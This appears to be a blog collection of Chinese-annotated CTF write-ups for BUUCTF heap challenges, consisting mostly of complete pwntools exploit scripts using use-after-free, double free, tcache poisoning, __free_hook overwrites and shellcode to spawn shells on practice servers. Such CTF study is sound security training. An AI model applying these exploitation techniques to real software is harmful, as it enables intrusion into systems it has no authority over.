1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./wdb_2018_2nd_Fgo"  elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) libc = elf.libc if  len(sys.argv) > 1 :    remote_ip = "node4.buuoj.cn"      remote_port = 29192      io = remote(remote_ip, remote_port) else :    io = process(elf_path) def debug():     gdbscript = "" "      c     x/6xw 0x804B050     " ""     gdb.attach(io, gdbscript=gdbscript) def add(size,content):     sla(b"Your choice:\n" , b"1" )     sla(b"the size of servant's name : \n" ,str(size))     sa(b"ability : " ,content) def free (index):     sla(b"Your choice:\n" , b"2" )     sla(b"Index : \n" ,str(index)) def show(index):     sla(b"Your choice:\n" , b"3" )     sla(b"Index :" ,str(index)) add(0x10 ,b"a" ) add(0x10 ,b"a" ) free (0 )free (1 )backdoor=0x8048956  add(0x8 ,p32(backdoor)) show(0 ) it() 
pwnable_echo2 BUUCTF在线评测 (buuoj.cn) 
easy uaf
1 2 3 4 5 6 7 8 9 10 11 sla(b"name? : " , b"a" ) sla(b"> " , b"2" ) rl() sl(b"%7$p" ) libc_base = int (rld(), 16 ) - libc.sym["puts" ] - 362  sla(b"> " , b"4" ) sla(b"exit? (y/n)" , b"n" ) sla(b"> " , b"3" ) s(b"a"  * 0x10  + b"b"  * 0x8  + p64(libc_base + one_gadget[2 ])) sla(b"> " , b"2" ) it() 
isitdtu2019_iz_heap_lv1 BUUCTF在线评测 
比较巧妙的一道题目,漏洞出现在free函数,里面数组小标越界了,由于可以控制的bss碍着保存堆地址,所以我们可以在bss里面伪造堆地址达到uaf的效果
同时注意
tcache不会检查周围的堆块
unsorted bin会检查当前的prev_inuse,后面一块的size,以及后后一块的prev_inuse
所以最方便的伪造就是
当前unsorted bin,下一个完整的块,加上一个p8(1)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 #!/usr/bin/python3 #  -*- coding: utf-8  -*- # from LibcSearcher import LibcSearcheronline from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./iz_heap_lv1"  elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) libc = elf.libc if  "2.23"  in libc.path:    one_gadget = [0x45216 , 0x4526A , 0xF02A4 , 0xF1147 ] elif "2.27"  in libc.path:     one_gadget = [0x4F2C5 , 0x4F322 , 0x10A38C ] else :    one_gadget = [] if  len(sys.argv) > 1 :    remote_ip = "node4.buuoj.cn"      remote_port = 25360      io = remote(remote_ip, remote_port) else :    io = process(elf_path) def debug():     gdbscript = "" "       b       c     x/30xg 0x602060     " ""     gdb.attach(io, gdbscript=gdbscript) # 0 ~128  def add(size: int , content: bytes):     sla(b"Choice: \n" , b"1" )     sa(b"Enter size: " , str(size).encode())     sa(b"Enter data: " , content) def edit(index: int , content: bytes):     sla(b"Choice: \n" , b"2" )     sa(b"Enter index: " , str(index).encode())     sa(b"input your data\n" , content) # 清空了 def free (index: int ):     sla(b"Choice: \n" , b"3" )     sa(b"Enter index: " , str(index).encode()) def show(content: bytes):     sla(b"Choice: \n" , b"4" )     sa(b"edit: (Y/N)" , b"Y" )     sa(b"Input name: " , content) def convert_str_asmencode(content: str):     out = ""      for  i in content:         out = hex(ord(i))[2 :] + out     out = "0x"  + out     return  out sa(     b"nput name: " ,     p64(0x602120 )     + p64(0 ) * 2      + p64(0x91 )     + p64(0 ) * 17      + p64(0x21 )     + p64(0 ) * 3      + p8(1 ), ) for  i in range(7 ):    add(0x88 , b"a"  * 0x18 ) for  i in range(7 ):    free (i) free (20 )show(b"a"  * 0x1F  + b"b" ) ru(b"b" ) libc_base = u64(ru(b"\x7f" ).ljust(8 , b"\0" )) - 0x7FF55066ECA0  + 0x7FF550283000  show(p64(0 ) * 3  + p64(0x91 )) add(0x78 , b"a" ) add(0x18 , b"a" ) show(p64(0x602120 ) + p64(0 ) * 2  + p64(0x21 )) free (20 )free_hook_addr = libc_base + libc.sym["__free_hook" ] show(p64(0 ) * 3  + p64(0x21 ) + p64(free_hook_addr)) add(0x18 , b"/bin/sh\0" ) add(0x18 , p64(libc_base + libc.sym["system" ])) free (2 )it() 
gyctf_2020_document BUUCTF在线评测 
其实题目总体还好,不算特别复杂,就是free后指针没有清零,泄露libc方式也比较直接
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 #!/usr/bin/python3 #  -*- coding: utf-8  -*- # from LibcSearcher import LibcSearcheronline from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./gyctf_2020_document"  elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) libc = elf.libc if  "2.23"  in libc.path:    one_gadget = [0x45216 , 0x4526A , 0xF02A4 , 0xF1147 ] elif "2.27"  in libc.path:     one_gadget = [0x4F2C5 , 0x4F322 , 0x10A38C ] else :    one_gadget = [] if  len(sys.argv) > 1 :    remote_ip = "node4.buuoj.cn"      remote_port = 27702      io = remote(remote_ip, remote_port) else :    io = process(elf_path) def debug():     gdbscript = "" "       c     x/6xg $rebase(0x202060)     " ""     gdb.attach(io, gdbscript=gdbscript) # <=4096  无洞 def add(name: bytes, sex: bytes, content: bytes):     sa(b"choice : \n" , b"1" )     sa(b"name\n" , name)     sa(b"sex\n" , sex)     sa(b"information\n" , content) def edit(index: int , content: bytes):     sa(b"choice : \n" , b"3" )     sa(b"index : \n" , str(index).encode())     sa(b"change sex?\n" , b"n" )     sa(b"information\n" , content) # 没有清空 def free (index: int ):     sa(b"choice : \n" , b"4" )     sa(b"index : \n" , str(index).encode()) def show(index: int ):     sa(b"choice : \n" , b"2" )     sa(b"index : \n" , str(index).encode()) add(b"a"  * 8 , b"1" , b"a"  * 112 )  # 0  add(b"/bin/sh\0" , b"1" , b"a"  * 112 )  # 1  free (0 )show(0 ) libc_base = u64(rld().ljust(8 , b"\0" )) + 0x7FA561345000  - 0x7FA561709B78  add(b"a"  * 8 , b"1" , b"a"  * 112 )  # 2  add(b"a"  * 8 , b"1" , b"a"  * 112 ) edit(     0 ,     p64(0 )     + p64(0x21 )     + p64(libc_base + libc.sym["__free_hook" ] - 0x10 )     + p64(1 )     + p64(0 ) * 1      + p64(0x51 )     + b"a"  * (112  - 8  * 6 ), ) edit(3 , p64(libc_base + libc.sym["system" ]) + b"a"  * (112  - 8 )) free (1 )# debug() it() exit (0 )
double free actf_2020_scp_foundation_secret 题目还不错,就是free没清空
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 #!/usr/bin/python3 #  -*- coding: utf-8 -*- from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./actf_2020_scp_foundation_secret" parm=elf_path elf = ELF(elf_path) context(arch=elf.arch, log_level="debug") libc = elf.libc if len(sys.argv) > 1:     remote_ip = "node4.buuoj.cn"     remote_port =26198     io = remote(remote_ip, remote_port) else:     io = process(parm) def debug():     global io     gdbscript = """     b system     c     x/10xg 0x603120     """     gdb.attach(io, gdbscript=gdbscript) def debug_force():     global io     io.close()     gdbscript = """     set follow-fork-mode parent     b fini     c          """     io=gdb.debug(parm, gdbscript=gdbscript) #112 def add(size,content,len,desc):     sla(b"> Now please tell me what you want to do :",b"2")     sla(b"> SCP name's length : ",str(size))     sa(b"> SCP name : ",content)     sla(b"> SCP description's length : ",str(len))     sa(b"> SCP description : ",desc) #没有清空 def free(idx):     sla(b"> Now please tell me what you want to do :",b"4")     sla(b"> SCP project ID : ",str(idx)) def show(idx):     sla(b"> Now please tell me what you want to do :",b"5")     sla(b"> SCP project ID : ",str(idx)) sa(b"> Username:",b"a"*5) sa(b"> Password:",b"For_the_glory_of_Brunhild") add(0x58,b"a",0x58,b"b") add(0x58,b"a",0x28,b"b") add(0x58,b"a",0x58,b"b") free(0) free(1) free(0) add(0x28,p64(0)+p64(0x21),0x18,b"\x70") add(0x58,b"\x50",0x58,p64(0)+p64(0x61)) add(0x58,b"\x00",0x58,p64(0)*9+p64(0xb1)) free(1) show(1) ru(b"SCP's description is ") libc_base=u64(ru(b"\x7f").ljust(8,b"\0"))+0x7fec22b9f000-0x7fec22f63b78 add(0x58,b"a",0x28,b"a") free(0) free(1) free(0) add(0x28,p64(0)+p64(0x21),0x58,p64(elf.got["free"]-0x1e)) add(0x58,b"/bin/sh\0",0x58,b"a") add(0x58,b"a"*0xe+p64(libc_base+libc.sym["system"]),0x18,b"a") free(1) it() 
[HarekazeCTF2019]Harekaze Note https://buuoj.cn/challenges#[HarekazeCTF2019]Harekaze%20Note 
1 2 3 4 5 6 7 8 9 add(b"a" ) edit(b"a" ,0x38 ,b"a" ) free(b"a" ) add(b"a" ) add(b"c" ) edit(b"c" ,0x38 ,b"c" ) free(b"c" ) free(b"a" ) 0x38 被free了两次
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 from  pwn import  *it = lambda : io.interactive() ru = lambda  x: io.recvuntil(x) rud = lambda  x: io.recvuntil(x, drop=True ) r = lambda  x: io.recv(x) rl = lambda : io.recvline() rld = lambda : io.recvline(keepends=False ) s = lambda  x: io.send(x) sa = lambda  x, y: io.sendafter(x, y) sl = lambda  x: io.sendline(x) sla = lambda  x, y: io.sendlineafter(x, y) elf_path = "./note"  elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) libc = elf.libc if  "2.23"  in  libc.path:    one_gadget = [0x4526A , 0x45216 , 0xF02A4 , 0xF1147 ] elif  "2.27"  in  libc.path:    one_gadget = [0x4F2C5 , 0x4F322 , 0x10A38C ] else :    one_gadget = [] if  len (sys.argv) > 1 :    remote_ip = "node4.buuoj.cn"      remote_port =27993      io = remote(remote_ip, remote_port) else :    io = process(elf_path) def  debug ():    global  io     gdbscript = """      b *$rebase(0x1573)     c     x/xw $rebase(0x4060)     x/2xg $rebase(0x4090)     """     gdb.attach(io, gdbscript=gdbscript)    def  add (title ):    sla(b"Choice: " , b"1" )     sla(b"Title: " ,title) def  free (title ):    sla(b"Choice: " , b"4" )     sla(b"Title of note to delete: " ,title) def  show (title ):    sla(b"Choice: " , b"3" )     sla(b"itle of note to show content: " ,title) def  edit (title,size,content ):    sla(b"Choice: " , b"2" )     sla(b"Title of note to write content: " ,title)     sla(b"Size of content: " ,str (size))     sla(b"Content: " ,content) def  convert_str_asmencode (content: str  ):    out = ""      for  i in  content:         out = hex (ord (i))[2 :] + out     out = "0x"  + out     return  out for  i in  range (6 ):    add(str (i))     edit(str (i),0x50 ,b"a" ) add(str (6 )) edit(str (6 ),0x40 ,b"a" ) add(str (7 )) edit(str (7 ),0x30 ,b"a" ) add(str (8 )) add(str (9 )) edit(str (8 ),0x40 ,b"a" ) add(b"a" ) add(b"b" ) edit(b"a" ,0x28 ,b"a" ) free(b"a" ) add(b"a" ) add(b"c" ) for  i in  range (10 ,20 ):    add(str (i))     add(b"" )     edit(str (i),0x50 ,b"a" ) for  i in  range (20 ,30 ):    add(str (i)) for  i in  range (7 ):    free(str (i)) free(b"c" ) free(b"b" ) free(b"a" ) for  i in  range (8 ):    add(str (i)) add(b"" ) add(str (9 )) add(str (10 )) add(p64(0 )+p16(0x441 )) free(str (8 )) edit(str (20 ),0x38 ,b"a" ) edit(str (21 ),0x38 ,b"a" ) edit(str (22 ),0x38 ,b"a" ) add(str (1 )) edit(str (23 ),0x18 ,b"a" ) add(b"test" ) add(str (8 )) show(b"test" ) libc_base=u64(ru(b"\x7f" ).ljust(8 ,b"\0" ))+0x7fc24e188000 -0x7fc24e36cca0  add(b"11" ) add(b"12" ) add(b"test2" .ljust(8 ,b"\0" )+p32(0x31 )) edit(b"11" ,0x18 ,b"a" ) add(b"13" ) show(b"test2" ) heap_addr=u64(rld().ljust(8 ,b"\0" )) print (hex (heap_addr))add(b"1" ) add(b"2" ) add(b"3" ) add(b"4" ) add(b"5" ) edit(b"5" ,0x10 ,b"a" ) add(b"a" ) add(b"d" ) edit(b"a" ,0x28 ,b"a" ) free(b"a" ) add(b"c" ) add(b"a" ) free(b"11" ) free(b"a" ) free(b"7" ) free(b"c" ) target_haep_addr=heap_addr-0x1e0 +0x210 -0x30  add(b"/bin/sh\0" ) add(p64(target_haep_addr)) add(b"aa" ) add(b"a" ) edit(b"a" ,0x28 ,p64(0 )+p64(heap_addr+0x50 )+p64(0 )+p64(0x21 )+p64(libc_base+libc.sym["__free_hook" ])) edit(b"9" ,0x18 ,b"a" ) edit(b"8" ,0x18 ,p64(libc_base+libc.sym["system" ])) free(b"/bin/sh\0" ) it() 
这里我做的比较复杂
rctf2018_rnote3 https://buuoj.cn/challenges#rctf2018_rnote3 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 from  pwn import  *from  time import  sleepit = lambda : io.interactive() ru = lambda  x: io.recvuntil(x) rud = lambda  x: io.recvuntil(x, drop=True ) r = lambda  x: io.recv(x) rl = lambda : io.recvline() rld = lambda : io.recvline(keepends=False ) s = lambda  x: io.send(x) sa = lambda  x, y: io.sendafter(x, y) sl = lambda  x: io.sendline(x) sla = lambda  x, y: io.sendlineafter(x, y) elf_path = "./RNote3"  elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) libc = elf.libc if  "2.23"  in  libc.path:    one_gadget = [0x4526A , 0x45216 , 0xF02A4 , 0xF1147 ] elif  "2.27"  in  libc.path:    one_gadget = [0x4F2C5 , 0x4F322 , 0x10A38C ] else :    one_gadget = [] if  len (sys.argv) > 1 :    remote_ip = "node4.buuoj.cn"      remote_port =26463      io = remote(remote_ip, remote_port) else :    io = process(elf_path) def  debug ():    global  io     gdbscript = """      b *$rebase(0xCD1)     c     x/xg $rebase(0x202040)     x/20xg  $rebase(0x202060)     """     gdb.attach(io, gdbscript=gdbscript)    def  add (title,size,data ):    sl( b"1" )     sla(b"please input title: " ,title)     sla(b"please input content size: " ,str (size))     sla(b"please input content: " ,data) def  free (title ):    sl(b"4" )     sla(b"please input note title: " ,title) def  show (title ):    sl( b"2" )     sla(b"please input note title: " ,title) def  edit (title,content ):    sl(b"3" )     sla(b"please input note title: " ,title)     sla(b"please input new content: " ,content) def  convert_str_asmencode (content: str  ):    out = ""      for  i in  content:         out = hex (ord (i))[2 :] + out     out = "0x"  + out     return  out for  i in  range (4 ):    add(b"a" *(i+1 ),0x100 ,b"a" ) free(b"a" ) free(b"a" ) add(b"" ,0x100 ,b"" ) add(b"" ,0x100 ,b"" ) add(b"" ,0x100 ,p64(0 )*11 +p64(0x4c1 )+b"a" .ljust(0x17 ,b"\0" )) free(b"a" ) add(b"a" ,0x88 ,b"a" ) add(b"a" ,0x78 ,b"a" ) show(b"aa" ) ru(b"note content: " ) libc_base=u64(ru(b"\x7f" ).ljust(8 ,b"\0" ))+0x7f5bc3347000 -0x7f5bc3732ca0  free(b"a" ) free(b"c" ) free_hook_addr=libc_base+libc.sym["__free_hook" ] add(p32(free_hook_addr&0xffffffff )+p16((free_hook_addr>>32 )&0xffff ),0x18 ,b"/bin/sh\0" ) system_addr=libc_base+libc.sym["system" ] add(p32(system_addr&0xffffffff )+p16((system_addr>>32 )&0xffff ),0x28 ,b"" ) free(b"/bin/sh" ) it() 
qwb2018_slient2 BUUCTF在线评测 (buuoj.cn) 
改free的got为system plt
额打远程需要加上sleep
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./silent2"  elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) libc = elf.libc if  len(sys.argv) > 1 :    remote_ip = "node4.buuoj.cn"      remote_port =28322      io = remote(remote_ip, remote_port) else :    io = process(elf_path) def debug():     gdbscript = "" "      c     x/10xg 0x6020C0     " ""     gdb.attach(io, gdbscript=gdbscript)     sleep(1 ) #0x10 ,或者0x80 以上 def add(size,content):     sl(b"1" )     sleep(0.2 )     sl(str(size))     sleep(0.2 )     s(content)     sleep(0.2 ) #清零了 def free (index):     sl(b"2" )     sleep(0.2 )     sl(str(index))     sleep(0.2 ) #没有溢出 ru(b"\n" ) add(0x10 ,b"a" ) free (0 )free (0 )add(0x10 ,p64(elf.got["free" ])) add(0x10 ,b"/bin/sh" ) add(0x10 ,p64(elf.plt["system" ])) free (1 )#debug() it() 
ciscn_2019_nw_4 BUUCTF在线评测 (buuoj.cn) 
开了沙盒,而且只能改free_hook
那么就直接setcontext+53加上orw+mprotect
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 #!/usr/bin/python3 #  -*- coding: utf-8  -*- from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./ciscn_nw_4"  elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) libc = elf.libc if  len(sys.argv) > 1 :    remote_ip = "node4.buuoj.cn"      remote_port =27342      io = remote(remote_ip, remote_port) else :    io = process(elf_path) def debug():     gdbscript = "" "      b *0x4009B7     c     x/10xg 0x6020C0     x/10xg 0x602040     " ""     gdb.attach(io, gdbscript=gdbscript) def add(size,content):     sla(b">> " , b"1" )     sla(b"size?\n" ,str(size))     sa(b"content?\n" ,content) def free (index):     sla(b">> " , b"2" )     sla(b"index ?\n" ,str(index)) def show(index):     sla(b">> " , b"3" )     sla(b"index ?\n" ,str(index)) def convert_str_asmencode(content: str):     out = ""      for  i in content:         out = hex(ord(i))[2 :] + out     out = "0x"  + out     return  out sla(b"what is your name? \n" ,b"a" ) add(0x418 ,b"a" ) add(0x18 ,b"a" ) free (0 )show(0 ) libc_base=u64(ru(b"\x7f" ).ljust(8 ,b"\0" ))-0x7fa0930f4ca0 +0x7fa092d09000  free (1 )free (1 )show(1 ) heap_addr=u64(rld().ljust(8 ,b"\0" ))-0x420 +0xb0  #rdi 0x68 #rsi 0x70 #rdx 0x88 #rsp 0xa0 #rcx 0xa8 payload=b"0" *0x68 +p64(heap_addr&0xfffffffffffff000 )+p64(0x1000 )+p64(0 )*2 +p64(7 )+p64(0 )*2 +p64(heap_addr+8 )+p64(libc_base+libc.sym["mprotect" ]) shellcode=f"" "  xor rsi,rsi; xor rdx,rdx; push rdx; mov rax,{convert_str_asmencode(" flag")}; push rax; mov rdi,rsp; xor rax,rax; mov al,2; syscall; mov rdi,rax; mov dl,0x40; mov rsi,rsp mov al,0; syscall; xor rdi,rdi; mov al,1; syscall; " "" payload+=p64(0 )+p64(heap_addr+0x10 )+asm (shellcode) add(len(payload),payload) add(0x18 ,p64(libc_base+libc.sym["__free_hook" ])) add(0x18 ,b"/bin/sh\0" ) add(0x18 ,p64(libc_base+libc.sym["setcontext" ]+53 )) sleep(1 ) free (2 )it() 
ciscn_2019_s_2 BUUCTF在线评测 (buuoj.cn) 
还不错,利用realloc构造double free
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./ciscn_s_2"  elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) libc = elf.libc if  len(sys.argv) > 1 :    remote_ip = "node4.buuoj.cn"      remote_port =26722      io = remote(remote_ip, remote_port) else :    io = process(elf_path) def debug():     gdbscript = "" "      c     x/10xg $rebase(0x202060)     " ""     gdb.attach(io, gdbscript=gdbscript) #name 0x100 def add(size,content):     sla(b"Your choice:" , b"1" )     sla(b"size?>" ,str(size))     sa(b"content:" ,content) def free (index):     sla(b"Your choice:" , b"4" )     sla(b"Index:" ,str(index)) def show(index):     sla(b"Your choice:" , b"3" )     sla(b"Index:" ,str(index)) def edit(index,content):     sla(b"Your choice:" , b"2" )     sla(b"Index:" ,str(index))     sa(b"New content:" ,content) add(0x418 ,b"a" ) add(0x18 ,b"/bin/sh\0" ) free (0 )add(0x18 ,b"a" ) show(0 ) ru(b"Content: " ) libc_base=u64(ru(b"\x7f" ).ljust(8 ,b"\0" ))+0x7f0e86c41000 -0x7f0e8702d061  add(0 ,b"\n" ) sla(b"Your choice:" , b"2" ) sla(b"Index:" ,str(2 )) free (2 )add(0x18 ,p64(libc_base+libc.sym["__free_hook" ])) add(0x18 ,p64(libc_base+libc.sym["system" ])) free (1 )it() 
hitb2018_gundam BUUCTF在线评测 (buuoj.cn) 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./gundam"  elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) libc = elf.libc if  len(sys.argv) > 1 :    remote_ip = "node4.buuoj.cn"      remote_port =28534      io = remote(remote_ip, remote_port) else :    io = process(elf_path) def debug():     gdbscript = "" "      c     x/xg $rebase(0x20208C)     x/10xg $rebase(0x2020A0)     " ""     gdb.attach(io, gdbscript=gdbscript) #name 0x100 def add(content):     sla(b"Your choice : " , b"1" )     sa(b"The name of gundam :" ,content)     sla(b"The type of the gundam :" ,b"2" ) def free (index):     sla(b"Your choice : " , b"3" )     sla(b"Which gundam do you want to Destory:" ,str(index)) def show():     sla(b"Your choice : " , b"2" ) def edit(index,content):     sla(b"Your choice: " , b"3" )     sla(b"Note number: " ,str(index))     sla(b"Length of note: " ,str(len(content)))     sa(b"Enter your note: " ,content) add(b"a" ) add(b"a" ) for  i in range(8 ):    free (0 ) sla(b"Your choice : " , b"4" )#free 掉0x30  add(b"a" ) show() ru(b"Gundam[0] :" ) libc_base=u64(ru(b"\x7f" ).ljust(8 ,b"\0" ))-0x7f41e1686c61 +0x7f41e129b000  add(b"a" ) free (1 )free (1 )add(p64(libc_base+libc.sym["__free_hook" ])) add(b"/bin/sh\0" ) add(p64(libc_base+libc.sym["system" ])) free (1 )it() 
ciscn_2019_final_2 BUUCTF在线评测 (buuoj.cn) 
题目还可以
一个傻逼double free题
delete check十分傻逼,指针没有清零,一旦创建另一个就可以free
需要show两次,第一次double free需要用来修改size泄露堆地址,第二次泄露libc地址,然后利用doublefree修改文件描述符
open只会在进程里面创建文件描述符,并不会生成FILE结构
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./ciscn_final_2"  elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) libc = elf.libc if  len(sys.argv) > 1 :    remote_ip = "node4.buuoj.cn"      remote_port =27388      io = remote(remote_ip, remote_port) else :    io = process(elf_path) def debug():     gdbscript = "" "      b *$rebase(0x10D9 )     c     " ""     gdb.attach(io, gdbscript=gdbscript) INT=1  SHORTINT=2  def add(choice,number):     sla(b"which command?\n> " , b"1" )     if  choice==INT:         sla(b"short int\n>" ,b"1" )         sla(b"your inode number:" ,str(number))     else :         sla(b"short int\n>" ,b"2" )         sla(b"your inode number:" ,str(number)) def free (choice):     sla(b"which command?\n> " , b"2" )     if  choice==INT:         sla(b"short int\n>" ,b"1" )     else :         sla(b"short int\n>" ,b"2" ) def show(choice):     sla(b"which command?\n> " , b"3" )     if  choice==INT:         sla(b"short int\n>" ,b"1" )     else :         sla(b"short int\n>" ,b"2" ) add(INT,0x10 ) free (INT)for  i in range(32 ):    add(SHORTINT,0x0 ) free (INT)add(SHORTINT,0x0 ) free (INT)show(INT) ru(b"number :" ) heap_addr=((int (rld())+1 <<32 )>>32 )-0x1  add(INT,heap_addr+0x10 ) add(INT,0x421 ) add(INT,0 ) free (INT)show(INT) ru(b"number :" ) libc_base=((int (rld())+1 <<32 )>>32 )-1 -0x3ebca0  io_addr=libc_base+0x70 +libc.sym["_IO_2_1_stdin_" ] add(INT,io_addr&0xffffffff ) add(INT,0 ) free (INT)add(SHORTINT,0 ) free (INT)add(INT,heap_addr+0x10 ) add(INT,0 ) add(INT,0 ) add(INT,666 ) sla(b"which command?\n> " , b"4" ) it() 
starctf2019_girlfriend BUUCTF在线评测 (buuoj.cn) 
